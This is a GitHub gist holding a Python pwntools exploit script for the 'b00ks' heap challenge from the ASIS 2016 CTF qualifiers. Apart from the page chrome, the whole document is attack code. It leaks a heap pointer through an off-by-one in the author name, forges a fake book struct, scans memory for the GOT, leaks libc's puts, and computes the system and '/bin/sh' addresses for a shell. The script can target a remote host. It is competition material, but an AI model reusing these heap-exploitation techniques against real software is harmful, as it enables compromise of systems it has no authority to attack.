Skip to content

Instantly share code, notes, and snippets.

@Grazfather
Created May 8, 2016 16:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Grazfather/51a7e269a9fc7f7099a4fcba87cf00f3 to your computer and use it in GitHub Desktop.
Save Grazfather/51a7e269a9fc7f7099a4fcba87cf00f3 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from pwn import *
import sys
CREATE = "1"
DELETE = "2"
EDIT = "3"
PRINT = "4"
CHANGE = "5"
EXIT = "6"
AUTHOR = "A" * 0x20
def bookCreate(nameSize, name, descSize, desc):
r.sendline(CREATE)
r.recvuntil('Enter book name size: ')
r.sendline(str(nameSize))
r.recvuntil('Enter book name (Max 32 chars): ')
r.sendline(name)
r.recvuntil('Enter book description size: ')
r.sendline(str(descSize))
r.recvuntil('Enter book description: ')
r.sendline(desc)
r.recvuntil('> ')
def printDetails():
r.sendline(PRINT)
def bookEdit(id, desc):
r.sendline(EDIT)
r.recvuntil('Enter the book id you want to edit: ')
r.sendline(str(id))
r.recvuntil('Enter new book description: ')
if desc:
r.sendline(desc)
else:
r.send("\n")
return r.recvuntil('> ')
def changeAuthor(name):
r.sendline(CHANGE)
r.recvuntil('Enter author name: ')
r.sendline(name)
r.recvuntil('> ')
def exploit(r):
log.info("Set author name 32 bytes long to come right against books[0]")
r.sendline(AUTHOR)
log.info("Create a fake book struct template within another book's desc")
bookCreate(232, "A", 32, "B")
log.info("Print book name (and author) to get leak")
printDetails()
r.recvuntil('Author: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
leak = u64(r.recv(6).ljust(8, '\0'))
log.info("Book struct: " + hex(leak))
r.recvuntil('> ')
log.info("Edit book description to place a fake book")
desc = p64(1)
desc += p64(leak - 0x130) # book1->name
desc += p64(leak + 0x80) # book1->desc
desc += p32(16)
bookEdit(1, desc)
log.info("Create second legit book")
bookCreate(16, "A", 16, "B")
log.info("Change author name to set LSB of books[0] to 0")
changeAuthor(AUTHOR)
log.info("Edit the fake book to modify the second book desc pointer")
bookEdit(1, p64(leak - 0x130 - 0x1000) + p32(0x10))
log.info("Keep trying to read into different buffers until we hit the bss")
dec = leak - 0x130 - 0x80000
tries = 0
log.info("Starting at 0x{:x}".format(dec))
while True:
tries += 1
dec -= 0x1000
if "\x0a" in p64(dec):
continue
data = bookEdit(2, None)
if "Unable " not in data:
break
bookEdit(1, p64(dec) + p32(0x10))
log.info("It took {} tries".format(tries))
bss = dec + 0x1008
base = dec
got_puts = base + 0xf80
log.info("Found .bss: " + hex(bss))
log.info("Found .base: " + hex(base))
log.info("Found puts@got: " + hex(got_puts))
log.info("Edit the fake book to point to puts@got")
bookEdit(1, p64(got_puts))
log.info("Print the books, leaking puts")
printDetails()
r.recvuntil("ID: 2", timeout=.5)
r.recvuntil("Description: ", timeout=.5)
puts = u64(r.recv(6).ljust(8, '\0'))
r.recvuntil(AUTHOR)
# Calculate addresses from offsets
# system = puts - 0x297f0 # remote
system = puts - 0x2aae0 # local
# bin_sh = puts + 0x10ceab # remote
bin_sh = puts + 0xfb81b # local
stack_ptr = base - 0x201e88 # remote
stack_ptr = base - 0x201e88 # remote
magic_system = system - 0x114
real_base = base - 0x201000
log.info("puts found : " + hex(puts))
log.info("system found: " + hex(system))
log.info("bin_sh found: " + hex(bin_sh))
log.info("Stack found : " + hex(stack_ptr))
log.info("Magic system: " + hex(magic_system))
log.info("Real base : " + hex(real_base))
r.interactive()
if __name__ == "__main__":
context.log_level = "info"
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
# r = process(['/vagrant/ASIS-2016-Quals/pwn146/books/b00ks'])
r = process(['/vagrant/ctfs/asis-2016/books/b00ks'])
print util.proc.pidof(r)
pause()
exploit(r)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment